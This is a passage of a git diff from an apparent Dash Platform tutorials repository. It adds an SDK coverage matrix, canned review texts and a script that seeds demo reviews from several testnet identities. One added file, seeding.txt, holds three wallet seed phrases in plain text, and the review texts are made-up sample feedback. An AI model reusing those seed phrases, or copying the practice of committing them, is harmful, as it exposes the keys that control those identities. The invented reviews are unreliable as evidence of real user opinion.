FAIL rows above, then run npm run doctor again.', + ); + process.exitCode = 1; + } else if (counts.WARN > 0) { + console.log( + 'Next action: warnings show tutorial flows that need prior setup or IDs from earlier scripts.', + ); + } else { + console.log( + 'Next action: setup is ready for the configured tutorial flow.', + ); + } +} + +await main(); diff --git a/sdk-coverage-matrix.md b/sdk-coverage-matrix.md new file mode 100644 index 00000000..fe094574 --- /dev/null +++ b/sdk-coverage-matrix.md @@ -0,0 +1,213 @@ +# SDK Feature Coverage Matrix + +Coverage of `@dashevo/evo-sdk` methods across the Node tutorials at the repo root and the React example apps under [example-apps/](example-apps/). + +Legend: + +- ✅ — used (linked to the tutorial when a single tutorial exercises that method) +- ✅ (multiple) — covered by more than one tutorial file +- — — not used +- *italic row* — SDK method **not exercised anywhere in the repo** + +> **Column note:** `dashmint-cli` is a build-output directory only (no `package.json`, no `src/`) and gets no column. `dashnote-starter` is a strict subset of `dashnote`'s document surface (`documents.create` / `query` / `get` / `replace` / `delete`, mnemonic auth only) and exercises no SDK method that `dashnote` doesn't, so it has no separate column. + +## Identity — `sdk.identities.*` and `sdk.addresses.*` + +| Method | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `addresses.createIdentity` | [identity-register.mjs](1-Identities-and-Names/identity-register.mjs) | — | — | — | — | — | +| `addresses.topUpIdentity` | [identity-topup.mjs](1-Identities-and-Names/identity-topup.mjs) | — | — | — | — | — | +| `addresses.transfer` (L1 send-funds) | [send-funds.mjs](send-funds.mjs) | — | — | — | — | — | +| `addresses.get` | [setupDashClient-core.mjs](setupDashClient-core.mjs) | — | — | — | — | — | +| `identities.fetch` | ✅ (multiple) | — | — | — | — | ✅ | +| `identities.balance` | — | ✅ | — | — | — | — | +| `identities.nonce` | ✅ (multiple) | — | ✅ | ✅ | ✅ | ✅ | +| `identities.byPublicKeyHash` | [setupDashClient-core.mjs](setupDashClient-core.mjs) | — | — | ✅ | — | ✅ | +| `identities.creditTransfer` | [identity-transfer-credits.mjs](1-Identities-and-Names/identity-transfer-credits.mjs) | — | — | — | — | — | +| `identities.creditWithdrawal` | [identity-withdraw-credits.mjs](1-Identities-and-Names/identity-withdraw-credits.mjs) | — | — | — | — | — | +| `identities.update` (add / disable key) | ✅ (multiple) | — | — | — | — | — | +| `identities.byNonUniquePublicKeyHash` | — | — | — | ✅ | — | ✅ | +| *`identities.create`* | — | — | — | — | — | — | +| *`identities.topUp`* (raw, not via addresses) | — | — | — | — | — | — | +| *`identities.balances`, `balanceAndRevision`* | — | — | — | — | — | — | +| *`identities.contractKeys`, `contractNonce`* | — | — | — | — | — | — | +| *`identities.getKeys`, `fetchUnproved`* | — | — | — | — | — | — | +| *`identities.tokenBalances`* | — | — | — | — | — | — | +| *`addresses.getMany`, `fundFromAssetLock`, `transferFromIdentity`, `withdraw`* | — | — | — | — | — | — | + +## DPNS / Names — `sdk.dpns.*` + +| Method | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `dpns.registerName` | [name-register.mjs](1-Identities-and-Names/name-register.mjs) | — | — | — | — | — | +| `dpns.resolveName` | [name-resolve-by-name.mjs](1-Identities-and-Names/name-resolve-by-name.mjs) | ✅ | — | — | — | — | +| `dpns.usernames` (by identity, plural) | [name-get-identity-names.mjs](1-Identities-and-Names/name-get-identity-names.mjs) | — | — | — | — | — | +| `dpns.username` (singular) | — | ✅ | — | ✅ | ✅ | ✅ | +| `dpns.convertToHomographSafe` | [name-search-by-name.mjs](1-Identities-and-Names/name-search-by-name.mjs) | — | — | — | — | — | +| *`dpns.getUsernameByName`* | — | — | — | — | — | — | +| *`dpns.isContestedUsername`* | — | — | — | — | — | — | +| *`dpns.isNameAvailable`* | — | — | — | — | — | — | +| *`dpns.isValidUsername`* | — | — | — | — | — | — | + +## Data Contracts — `sdk.contracts.*` + +| Method | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `contracts.publish` | ✅ (multiple) | ✅ | ✅ | ✅ | ✅ | ✅ | +| `contracts.fetch` | ✅ (multiple) | ✅ | ✅ | ✅ | ✅ | ✅ | +| `contracts.update` | ✅ (multiple) | — | — | — | — | ✅ | +| `contracts.getHistory` | ✅ (multiple) | — | — | — | — | — | +| *`contracts.getMany`* | — | — | — | — | — | — | + +## Documents — `sdk.documents.*` + +| Method | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `documents.create` | [document-submit.mjs](2-Contracts-and-Documents/document-submit.mjs) | ✅ | ✅ | ✅ | ✅ | — | +| `documents.query` | ✅ (multiple) | ✅ | ✅ | ✅ | ✅ | — | +| `documents.get` | — | ✅ | — | ✅ | ✅ | — | +| `documents.replace` | [document-update.mjs](2-Contracts-and-Documents/document-update.mjs) | — | — | ✅ | ✅ | — | +| `documents.delete` | [document-delete.mjs](2-Contracts-and-Documents/document-delete.mjs) | ✅ | — | ✅ | — | — | +| `documents.transfer` | [document-transfer.mjs](2-Contracts-and-Documents/document-transfer.mjs) | ✅ | — | — | — | — | +| `documents.setPrice` | [document-set-price.mjs](2-Contracts-and-Documents/document-set-price.mjs) | ✅ | — | — | — | — | +| `documents.purchase` | [document-purchase.mjs](2-Contracts-and-Documents/document-purchase.mjs) | ✅ | — | — | — | — | +| `documents.count` **(new in v4)** | — | — | — | — | ✅ | — | +| `documents.count` + `groupBy` **(new in v4)** | — | — | — | — | ✅ | — | +| `documents.history` **(new in v4)** | — | — | — | — | ✅ | — | +| *`documents.sum`, `documents.average`* **(new in v4)** | — | — | — | — | — | — | + +## Tokens — `sdk.tokens.*` + +| Method | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `tokens.calculateId` | ✅ (multiple) | ✅ | — | — | — | ✅ | +| `tokens.identityBalances` | ✅ (multiple) | ✅ | — | — | — | ✅ | +| `tokenPaymentInfo` on `documents.create` (burn-to-mint) | — | ✅ | — | — | — | — | +| `tokens.mint` | [token-mint.mjs](3-Tokens/token-mint.mjs) | — | — | — | — | ✅ | +| `tokens.burn` | [token-burn.mjs](3-Tokens/token-burn.mjs) | — | — | — | — | ✅ | +| `tokens.transfer` | [token-transfer.mjs](3-Tokens/token-transfer.mjs) | ✅ | — | — | — | ✅ | +| `tokens.freeze`, `unfreeze`, `destroyFrozen` | — | — | — | — | — | ✅ | +| `tokens.emergencyAction` (pause / resume) | — | — | — | — | — | ✅ | +| `tokens.configUpdate` **(new in v4)** | — | — | — | — | — | ✅ | +| `tokens.statuses`, `totalSupply`, `contractInfo` | [token-info.mjs](3-Tokens/token-info.mjs) | ✅ (`totalSupply` only) | — | — | — | ✅ | +| `tokens.identityTokenInfos` | — | — | — | — | — | ✅ | +| *`tokens.claim`* | — | — | — | — | — | — | +| *`tokens.setPrice`, `directPurchase`, `directPurchasePrices`, `priceByContract`* | — | — | — | — | — | — | +| *`tokens.balances`* | — | — | — | — | — | — | +| *`tokens.identitiesTokenInfos`* | — | — | — | — | — | — | +| *`tokens.perpetualDistributionLastClaim`* | — | — | — | — | — | — | + +## Groups — `sdk.group.*` + +Multi-signer group governance. **token-ops is the only consumer of this facade anywhere in the repo.** + +| Method | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `group.info` | — | — | — | — | — | ✅ | +| `group.actions` | — | — | — | — | — | ✅ | +| `group.actionSigners` | — | — | — | — | — | ✅ | +| *`group.infos`, `members`* | — | — | — | — | — | — | +| *`group.identityGroups`, `groupsDataContracts`* | — | — | — | — | — | — | +| *`group.contestedResources`, `contestedResourceVotersForIdentity`* | — | — | — | — | — | — | + +## Wallet utilities — `wallet.*` (top-level export, not `sdk.wallet`) + +> Example apps share `wallet.*` derivation through the imported `setupDashClient-core.mjs` `IdentityKeyManager`, not via direct calls in their own `src/` — the Tutorials column is the canonical reference for these. + +| Function | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `wallet.generateMnemonic` | [create-wallet.mjs](create-wallet.mjs) | — | — | — | — | — | +| `wallet.validateMnemonic` | [setupDashClient.mjs](setupDashClient.mjs) | — | — | — | — | — | +| `wallet.derivationPathBip44Testnet` / `derivationPathBip44Mainnet` | ✅ (multiple: [create-wallet.mjs](create-wallet.mjs), [setupDashClient-core.mjs](setupDashClient-core.mjs)) | — | — | — | — | — | +| `wallet.derivationPathDip13Testnet` / `derivationPathDip13Mainnet` | [setupDashClient-core.mjs](setupDashClient-core.mjs) | — | — | — | — | — | +| `wallet.deriveKeyFromSeedWithPath` | ✅ (multiple: [create-wallet.mjs](create-wallet.mjs), [setupDashClient-core.mjs](setupDashClient-core.mjs)) | — | — | — | — | — | +| *`wallet.mnemonicToSeed`* | — | — | — | — | — | — | +| *`wallet.deriveKeyFromSeedPhrase`, `deriveKeyFromSeedWithExtendedPath`* | — | — | — | — | — | — | +| *`wallet.deriveDashpayContactKey`* | — | — | — | — | — | — | +| *`wallet.derivationPathDip9Testnet`, `derivationPathDip9Mainnet`* | — | — | — | — | — | — | +| *`wallet.deriveChildPublicKey`, `xprvToXpub`* **(new in v4)** | — | — | — | — | — | — | +| *`wallet.generateKeyPair`, `generateKeyPairs`, `keyPairFromWif`, `keyPairFromHex`* **(new in v4)** | — | — | — | — | — | — | +| *`wallet.pubkeyToAddress`, `validateAddress`* **(new in v4)** | — | — | — | — | — | — | +| *`wallet.signMessage`* (no `verifyMessage` export) **(new in v4)** | — | — | — | — | — | — | + +## Value exports — `PrivateKey`, `PlatformAddressSigner`, `IdentitySigner` + +| Export | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `PrivateKey.fromWIF` | ✅ (multiple: [create-wallet.mjs](create-wallet.mjs), [setupDashClient-core.mjs](setupDashClient-core.mjs)) | — | — | ✅ | — | ✅ | +| `PrivateKey.toPublicKey` | — | — | — | — | — | ✅ | +| `PlatformAddressSigner` (+ `.addKey`, `.toBech32m`) | ✅ (multiple: [create-wallet.mjs](create-wallet.mjs), [setupDashClient-core.mjs](setupDashClient-core.mjs)) | — | — | — | — | — | +| `IdentitySigner` | [setupDashClient-core.mjs](setupDashClient-core.mjs) | — | — | ✅ | ✅ | ✅ | + +## System — `sdk.system.*` + +| Method | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| `system.status` | [connect.mjs](connect.mjs) | — | — | — | — | — | +| *`system.currentQuorumsInfo`* | — | — | — | — | — | — | +| *`system.pathElements`* | — | — | — | — | — | — | +| *`system.prefundedSpecializedBalance`* | — | — | — | — | — | — | +| *`system.totalCreditsInPlatform`* | — | — | — | — | — | — | + +## Wallet / Keys + +| Capability | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| BIP-39 mnemonic + DIP-13 derivation (`IdentityKeyManager`) | ✅ (multiple) | ✅ | ✅ | ✅ | ✅ | ✅ | +| `keyManager.getAuth()` for signing | ✅ (multiple) | ✅ | ✅ | ✅ | ✅ | ✅ | +| WIF / `PrivateKey` + `IdentitySigner` single-key auth | — | — | — | ✅ | — | ✅ | +| Read-only `sdk.connect()` (no identity) | [connect.mjs](connect.mjs) | — | ✅ | ✅ | ✅ | ✅ | + +## Contract-schema features + +Capabilities expressed in the data-contract definition (not as an `sdk.*` method call) — several of these gate the v4 SDK methods above. + +| Schema feature | Tutorials | dashmint-lab | dashproof-lab | dashnote | dashrate | token-ops | +|---|---|:-:|:-:|:-:|:-:|:-:| +| NFT `tradeMode` / `transferable` / `creationRestrictionMode` | [contract-register-nft.mjs](2-Contracts-and-Documents/contract-register-nft.mjs) | ✅ | — | — | — | — | +| `tokenCost.create` (token-gated document creation) | — | ✅ | — | — | — | — | +| `documentsKeepHistory` (per-type / contract default) | [contract-register-history.mjs](2-Contracts-and-Documents/contract-register-history.mjs) | — | — | — | ✅ | — | +| Immutable / non-deletable documents (`documentsMutable: false`, `canBeDeleted: false`) | ✅ (multiple) | — | ✅ | — | — | — | +| `countable` aggregation index **(new in v4)** | — | — | — | — | ✅ | — | +| `rangeCountable` aggregation index **(new in v4)** | — | — | — | — | ✅ | — | +| *`summable` aggregation index* **(new in v4)** | — | — | — | — | — | — | +| Contract `groups` (multi-signer, unit-power members + `requiredPower`) | — | — | — | — | — | ✅ | +| `ChangeControlRules` (`authorizedToMakeChange` / `adminActionTakers`) | [token-register.mjs](3-Tokens/token-register.mjs) | — | — | — | — | ✅ | +| `TokenConfiguration` (base/max supply, `mainControlGroup`, per-capability rules) | [token-register.mjs](3-Tokens/token-register.mjs) | ✅ | — | — | — | ✅ | +| `TokenKeepsHistoryRules` (mint / burn / freeze / transfer / pricing history) | [token-register.mjs](3-Tokens/token-register.mjs) (mint / burn / transfer only) | — | — | — | — | ✅ | +| `TokenDistributionRules` (minting destination + choosable destination) | [token-register.mjs](3-Tokens/token-register.mjs) | — | — | — | — | ✅ | +| `TokenMarketplaceRules` / `TokenTradeMode` | [token-register.mjs](3-Tokens/token-register.mjs) (`NotTradeable`) | ✅ | — | — | — | ✅ | + +> dashrate deliberately omits `summable` — a count+sum value tree at a shared index prefix triggers an index-aggregation conflict that fails all document writes, so the per-resource average is derived in JS from the grouped `count`. + +## Entirely unused v4 facades + +New in evo-sdk v4, with **zero references** in tutorials or example apps: + +- **`sdk.stateTransitions.*`** — `broadcastStateTransition`, `waitForResponse`, `broadcastAndWait`, `waitForStateTransitionResult` (the last moved here from `sdk.system` in v4) +- **`sdk.shielded.*`** — the shielded-pool query surface (`poolState`, `encryptedNotes`, `anchors`, `mostRecentAnchor`, `nullifiers`); the headline v4 protocol theme has no example coverage +- New devnet factories — `EvoSDK.devnet` / `devnetTrusted` + +## Proofs + +All default `sdk.*` query methods request and verify Platform proofs internally when the SDK is in trusted mode (which `setupDashClient-core.mjs` uses); the verified proof is then discarded and only the typed result is returned. + +The `*WithProof` variants do the same verification but additionally **return the proof bytes plus block metadata** to the caller — useful for forwarding proofs to a third party, recording block height, or archiving for later audit. No code in the repo currently asks for proofs back, so every `*WithProof` method is unused, as is the genuinely unverified path `identities.fetchUnproved` and the SDK-wide `proofs: false` constructor option. + +## Entirely unused SDK surfaces + +These facades have zero references in tutorials or example apps: + +- **`sdk.epoch.*`** — `current`, `epochsInfo`, `evonodesProposedBlocksByIds`, `evonodesProposedBlocksByRange`, `finalizedInfos` +- **`sdk.voting.*`** — `contestedResourceIdentityVotes`, `contestedResourceVoteState`, `masternodeVote`, `votePollsByEndDate` +- **`sdk.protocol.*`** — `versionUpgradeState`, `versionUpgradeVoteStatus` +- **`sdk.system.*`** — all methods unused except `status` (see table above): `currentQuorumsInfo`, `pathElements`, `prefundedSpecializedBalance`, `totalCreditsInPlatform` + +## Notes + +- Tutorials uniquely cover: identity lifecycle (register / top-up / key add / key disable / credit transfer / credit withdrawal), L1 send-funds, DPNS name registration, contract update + history, and the indexed / binary / timestamps / history / NFT contract variants. +- Example apps uniquely cover: burn-to-mint via `tokenPaymentInfo`, group-governed token administration, WIF-based auth, and pure read-only `sdk.connect()` flows. +- Marketplace document ops (`transfer` / `setPrice` / `purchase`) are covered in **both** places — by the `document-transfer` / `document-set-price` / `document-purchase` tutorials and by dashmint-lab. +- **v4-specific coverage** lives in three apps. **dashrate** is the only consumer of the v4 document query engine — `documents.count`, `count` + `groupBy`, and `documents.history` over a `documentsKeepHistory: true` type, plus `countable` / `rangeCountable` aggregation indices. **dashmint-lab** is the only consumer of the v4 NFT surface — `tradeMode` / `transferable` + `setPrice` / `purchase`, and `tokenCost.create` token-gated minting. **token-ops** is the only consumer of `tokens.configUpdate` (new in v4) and of the entire **`sdk.group.*`** facade. +- **token-ops** is the deepest token-surface consumer in the repo: it covers every mutating token method except `claim` / `setPrice` / `directPurchase` (`mint`, `burn`, `transfer`, `freeze`, `unfreeze`, `destroyFrozen`, `emergencyAction`, `configUpdate`), all three read methods the tutorials use plus `identityTokenInfos`, and the propose / co-sign group-action lifecycle (`group.actions`, `group.actionSigners`, `group.info`) via `GroupStateTransitionInfoStatus.proposer` / `.otherSigner`. It is also the only app that calls `contracts.update`. +- Biggest gaps: the two new v4 facades **`sdk.stateTransitions.*`** and **`sdk.shielded.*`** (shielded-pool privacy — the headline v4 protocol feature), `documents.sum` / `average`, token distribution and marketplace operations (`claim` / `setPrice` / `directPurchase`), and **all voting / epoch / system / protocol queries** have no coverage at all. Within `sdk.group.*`, the contested-resource and membership-listing queries (`contestedResources`, `identityGroups`, `groupsDataContracts`, `members`, `infos`) remain uncovered. diff --git a/seed-data.mjs b/seed-data.mjs new file mode 100644 index 00000000..34c19622 --- /dev/null +++ b/seed-data.mjs @@ -0,0 +1,109 @@ +/** + * Review text pools for seed-reviews.mjs, keyed by resourceId → rating → texts. + * + * Multiple texts per (resource, rating) so several identities landing on the + * same pair get varied wording. seed-reviews.mjs cycles through each pool. + * A missing rating bucket just means that review is submitted with no text. + */ +export const REVIEW_TEXTS = { + intro: { + 5: [ + 'Clearest on-ramp to Platform I have found. Had a testnet connection working in about ten minutes.', + 'Perfect first step. Everything ran on the first try.', + ], + 4: [ + 'Solid starting point. Would have liked a diagram of how the SDK, identities, and network fit together.', + 'Good intro — connected without trouble, just wanted a bit more depth.', + ], + 3: [ + 'Gets you connected but stops right when it gets interesting. Felt more like a checklist than an explanation.', + ], + 2: [ + 'Spent more time fighting Node/SDK version mismatches than learning anything. Assumes your environment is already perfect.', + ], + }, + 'identities-names': { + 5: [ + 'The DPNS section finally made name registration click. The derivation-path table is worth bookmarking.', + 'Registered an identity and a name without a hitch. Great walkthrough.', + ], + 4: [ + 'Funding via the faucet worked first try. Could be clearer that you must wait for confirmation before registering.', + ], + 3: [ + 'Identity registration is fine, but the key-management part glosses over which key index does what.', + ], + 2: [ + "Got stuck for an hour because my identity wasn't funded yet and the error gave no hint. Needs a troubleshooting note.", + ], + 1: [ + 'Followed it exactly and name registration kept failing with a cryptic error. No guidance on recovery.', + ], + }, + 'contracts-documents': { + 5: [ + 'Best part of the whole tutorial set. The indexed-contract example is exactly what I needed for my own app.', + 'Documents and contracts explained really well. Reused this directly.', + ], + 4: [ + 'Document CRUD is well covered. The history/keepHistory example is a nice touch most docs skip.', + ], + 3: [ + 'Good breadth but the index rules (which orderBy is valid for which query) are buried — the part people actually get wrong.', + ], + 2: [ + 'The minimal contract works, but the moment I added a second index my inserts started failing and there is no warning about it.', + ], + }, + tokens: { + 5: [ + 'Minting and transferring tokens was way smoother than I expected. Copy-paste and it just works.', + 'Token lifecycle made simple. Great examples.', + ], + 4: [ + 'Covers the full lifecycle. The burn example is short but does the job.', + ], + 3: [ + 'Fine for the happy path. No mention of what permissions/keys you need for mint vs transfer.', + ], + 2: [ + 'Transfer kept rejecting until I realized the recipient ID format was wrong. Easy to miss.', + ], + }, + dashnote: { + 5: [ + 'Great real-world example of mutable documents. Seeing edit history in a working app made the concept stick.', + ], + 4: [ + 'Clean little app and the code is readable. The ~8MB SDK bundle makes the first load feel slow, though.', + ], + 3: [ + 'Useful as a reference but light on inline comments — had to cross-check the tutorials to follow some of it.', + ], + }, + 'dashmint-lab': { + 5: [ + 'Token-gated document creation is a clever pattern and this nails the demo. Inspired my own collectible idea.', + ], + 4: [ + 'The NFT-style modeling is well done. Setup has a few more moving parts than the other apps.', + ], + 3: [ + 'Cool concept but I hit a couple of confusing states when the gating token was not set up right.', + ], + 1: [ + 'Could not get it running locally — dependency install failed under my Node version and there is no note about which one to use.', + ], + }, + 'dashproof-lab': { + 5: [ + 'Proof-of-existence done right. Anchoring a hash and verifying it later worked exactly as described.', + ], + 4: [ + 'Good, focused example. The verification step is satisfying to watch succeed.', + ], + 3: [ + 'Does what it says, but I wanted more on how this compares to anchoring on other chains.', + ], + }, +}; diff --git a/seed-reviews.mjs b/seed-reviews.mjs new file mode 100644 index 00000000..67e5d2c5 --- /dev/null +++ b/seed-reviews.mjs @@ -0,0 +1,323 @@ +/** + * Seed DashRate review activity from a set of mnemonics. + * + * Each mnemonic = one identity. The unique `ownerAndResource` index means an + * identity can leave at most one review per resource, so realistic per-resource + * distributions come from spreading several identities across the catalog. This + * script gives every identity a believable, deterministic subset of resources + * and ratings (mixed 1–5) so the aggregate average, the distribution histogram, + * and the rating filter all have real data to show. + * + * Self-contained: runs with plain `node` like the repo's other tutorials. It + * deliberately does NOT import the app's .ts source (Node can't resolve the + * app's extensionless TS imports without a bundler/tsx). The contract id, + * resource ids, and the create flow are inlined below — keep them in + * sync with src/dash/contract.ts, src/catalog/resources.ts, and + * src/dash/review.ts if those change. + * + * Usage: + * # mnemonics in a file, one per line (blank lines / `#` comments ignored) + * node seed-reviews.mjs mnemonics.txt + * + * # or via env (newline- or `;`-separated) + * SEED_MNEMONICS="word word ...;word word ..." node seed-reviews.mjs + * + * Re-running is safe: if the identity already reviewed a resource, the script + * logs a skip and leaves the existing review untouched. + */ +import { readFileSync } from 'node:fs'; +import { Document, wallet } from '@dashevo/evo-sdk'; +import { createClient, IdentityKeyManager } from './setupDashClient-core.mjs'; +import { REVIEW_TEXTS } from './seed-data.mjs'; + +const NETWORK = 'testnet'; + +// --- Inlined from src/dash/contract.ts ------------------------------------- +const CONTRACT_ID = 'BdgTqaTAPYMyhp1WdeWdcvYSgoD7AuJ7tVCaCSXyQgyP'; + +// --- Inlined from src/catalog/resources.ts (ids only) ---------------------- +const RESOURCE_IDS = [ + 'intro', + 'identities-names', + 'contracts-documents', + 'tokens', + 'dashnote', + 'dashmint-lab', + 'dashproof-lab', +]; + +// --- Review creation helpers ---------------------------------------------- +// Create on first save for an (identity, resource); skip if one already exists. +async function hasReviewForResource({ sdk, contractId, resourceId, ownerId }) { + console.log( + ` [debug] existing-query:start owner=${ownerId} resource=${resourceId}`, + ); + const results = await sdk.documents.query({ + dataContractId: contractId, + documentTypeName: 'review', + where: [ + ['$ownerId', '==', ownerId], + ['resourceId', '==', resourceId], + ], + orderBy: [ + ['$ownerId', 'asc'], + ['resourceId', 'asc'], + ], + limit: 1, + }); + console.log( + ` [debug] existing-query:returned shape=${ + Array.isArray(results) + ? 'array' + : results instanceof Map + ? 'map' + : typeof results + }`, + ); + if (Array.isArray(results)) { + const exists = results.some(Boolean); + console.log(` [debug] existing-query:exists=${exists}`); + return exists; + } + const docs = + results instanceof Map + ? [...results.values()] + : Object.values(results ?? {}); + const exists = docs.some(Boolean); + console.log(` [debug] existing-query:exists=${exists}`); + return exists; +} + +async function createReviewIfMissing({ + sdk, + keyManager, + contractId, + resourceId, + rating, + reviewText, +}) { + const trimmedText = (reviewText ?? '').trim(); + console.log( + ` [debug] auth:start resource=${resourceId} rating=${rating}`, + ); + const { identity, identityKey, signer } = await keyManager.getAuth(); + const ownerId = identity.id.toString(); + console.log( + ` [debug] auth:done owner=${ownerId} identityKey=${identityKey ? 'present' : 'missing'} signer=${signer ? 'present' : 'missing'}`, + ); + const exists = await hasReviewForResource({ + sdk, + contractId, + resourceId, + ownerId, + }); + + if (exists) return 'skipped'; + + const properties = { + resourceId, + rating, + ...(trimmedText ? { reviewText: trimmedText } : {}), + }; + + console.log( + ` [debug] document:construct:start properties=${JSON.stringify(properties)}`, + ); + const document = new Document({ + properties, + documentTypeName: 'review', + dataContractId: contractId, + ownerId: identity.id, + }); + console.log(' [debug] document:construct:done'); + console.log(' [debug] documents.create:start'); + await sdk.documents.create({ document, identityKey, signer }); + console.log(' [debug] documents.create:done'); + return 'created'; +} + +// --------------------------------------------------------------------------- +// Collect mnemonics: a file argument (one per line) or SEED_MNEMONICS env. +// --------------------------------------------------------------------------- +function loadMnemonics() { + const fileArg = process.argv[2]; + let raw = ''; + if (fileArg) { + raw = readFileSync(fileArg, 'utf8'); + } else if (process.env.SEED_MNEMONICS) { + raw = process.env.SEED_MNEMONICS.replaceAll(';', '\n'); + } else { + throw new Error( + 'No mnemonics provided. Pass a file path (one mnemonic per line) ' + + 'or set SEED_MNEMONICS. See the header of this file for usage.', + ); + } + return raw + .split('\n') + .map((line) => line.trim()) + .filter((line) => line && !line.startsWith('#')); +} + +// --------------------------------------------------------------------------- +// Deterministic per-identity plan. +// +// We want uneven, believable coverage rather than every identity reviewing +// every resource. Each identity reviews a rotating window of the catalog so +// the first few "featured" resources accumulate the most reviews (full +// histograms) and the tail trails off — mirroring a real catalog. +// +// Ratings are drawn from a fixed mixed pool offset per identity so the same +// resource collects a spread of star values across reviewers (1–5 represented +// on the busy resources) instead of everyone landing on the same number. +// --------------------------------------------------------------------------- +const MIXED_RATINGS = [5, 4, 5, 3, 4, 2, 5, 4, 3, 1, 4, 5, 3, 2, 4]; + +function planForIdentity(index, resourceCount) { + // Each identity reviews ~4–6 resources, starting at a rotating offset so the + // low-index ("featured") resources are covered most often. + const span = 4 + (index % 3); // 4, 5, or 6 resources + const start = index % resourceCount; + const picks = []; + for (let step = 0; step < span; step += 1) { + const resourceIndex = (start + step) % resourceCount; + // Bias coverage toward the front of the catalog: skip ~1/3 of picks that + // land in the back half, so the tail resources stay sparse. + if (resourceIndex > resourceCount / 2 && (index + step) % 3 === 0) continue; + const rating = MIXED_RATINGS[(index * 3 + step) % MIXED_RATINGS.length]; + picks.push({ resourceIndex, rating }); + } + return picks; +} + +// Pick a review text for a (resource, rating) pair, cycling through the pool so +// repeated (resource, rating) hits across identities vary their wording. No +// pool for the pair → empty string (review submitted with no text). +function pickReviewText(resourceId, rating, occurrence) { + const pool = REVIEW_TEXTS[resourceId]?.[rating] ?? []; + if (pool.length === 0) return ''; + return pool[occurrence % pool.length]; +} + +// --------------------------------------------------------------------------- +// Run +// --------------------------------------------------------------------------- +const mnemonics = loadMnemonics(); +console.log( + `Seeding DashRate on ${NETWORK}\n contract: ${CONTRACT_ID}\n identities: ${mnemonics.length}\n resources: ${RESOURCE_IDS.length}\n`, +); + +// Track how many times each (resource, rating) has been used so review text +// varies across identities that happen to land on the same pair. +const occurrences = new Map(); +let submitted = 0; +let skippedIdentities = 0; +let skippedExisting = 0; +let failed = 0; + +const sdk = await createClient(NETWORK); + +function errorMessage(err) { + return err instanceof Error ? err.message : String(err); +} + +function isFatalSdkError(err) { + const message = errorMessage(err); + return ( + message.includes('Data contract not found') || + message.includes('memory access out of bounds') + ); +} + +async function preflightContract(sdk) { + console.log('Preflight: checking contract and review document type...'); + const contract = await sdk.contracts.fetch(CONTRACT_ID); + if (!contract) { + throw new Error(`Contract ${CONTRACT_ID} was not found on testnet.`); + } + + // Also run a harmless document query. This validates the review type/index + // and warms the SDK's contract path before the first document create. + await sdk.documents.query({ + dataContractId: CONTRACT_ID, + documentTypeName: 'review', + where: [['resourceId', '==', RESOURCE_IDS[0]]], + orderBy: [['resourceId', 'asc']], + limit: 1, + }); +} + +try { + await preflightContract(sdk); +} catch (err) { + console.error(`Preflight failed: ${errorMessage(err)}`); + process.exit(1); +} + +for (let i = 0; i < mnemonics.length; i += 1) { + const mnemonic = mnemonics[i]; + if (!(await wallet.validateMnemonic(mnemonic))) { + console.warn(`Identity ${i}: invalid BIP39 mnemonic — skipping.`); + skippedIdentities += 1; + continue; + } + + const plan = planForIdentity(i, RESOURCE_IDS.length); + + let keyManager; + let identityLabel = `identity ${i}`; + try { + keyManager = await IdentityKeyManager.create({ + sdk, + mnemonic, + network: NETWORK, + identityIndex: 0, + }); + identityLabel = String(keyManager.identityId ?? `identity ${i}`); + } catch (err) { + console.warn( + `Identity ${i}: could not load (is it registered & funded?) — ${err.message}`, + ); + skippedIdentities += 1; + continue; + } + + console.log(`\n[${i}] ${identityLabel} → ${plan.length} reviews`); + for (const { resourceIndex, rating } of plan) { + const resourceId = RESOURCE_IDS[resourceIndex]; + const key = `${resourceId}:${rating}`; + const occurrence = occurrences.get(key) ?? 0; + occurrences.set(key, occurrence + 1); + const reviewText = pickReviewText(resourceId, rating, occurrence); + + try { + const action = await createReviewIfMissing({ + sdk, + keyManager, + contractId: CONTRACT_ID, + resourceId, + rating, + reviewText, + }); + if (action === 'skipped') { + console.log(` - ${resourceId} ${rating}★ (already exists; skipped)`); + skippedExisting += 1; + } else { + console.log(` ✓ ${resourceId} ${rating}★ (created)`); + submitted += 1; + } + } catch (err) { + console.error(` ✗ ${resourceId} ${rating}★ — ${errorMessage(err)}`); + failed += 1; + if (isFatalSdkError(err)) { + console.error( + 'Fatal SDK error; stopping now so later writes do not run against a corrupted WASM state.', + ); + process.exit(1); + } + } + } +} + +console.log( + `\nDone. submitted ${submitted}, skipped ${skippedExisting} existing reviews, skipped ${skippedIdentities} identities, failed ${failed}.`, +); diff --git a/seeding.txt b/seeding.txt new file mode 100644 index 00000000..6db075a3 --- /dev/null +++ b/seeding.txt @@ -0,0 +1,3 @@ +arm achieve banana interest leopard life guide squirrel ramp flush cherry begin +window term teach prosper culture busy hold sense item tooth viable radio +utility egg question seed announce empower waste lawsuit blouse digital gossip steak \ No newline at end of file diff --git a/test-results/.last-run.json b/test-results/.last-run.json new file mode 100644 index 00000000..5fca3f84 --- /dev/null +++ b/test-results/.last-run.json @@ -0,0 +1,4 @@ +{ + "status": "failed", + "failedTests": [] +} \ No newline at end of file diff --git a/walkthrough/dashmint-lab/dashmint-lab-preview.png b/walkthrough/dashmint-lab/dashmint-lab-preview.png new file mode 100644 index 00000000..8cf1d128 Binary files /dev/null and b/walkthrough/dashmint-lab/dashmint-lab-preview.png differ diff --git 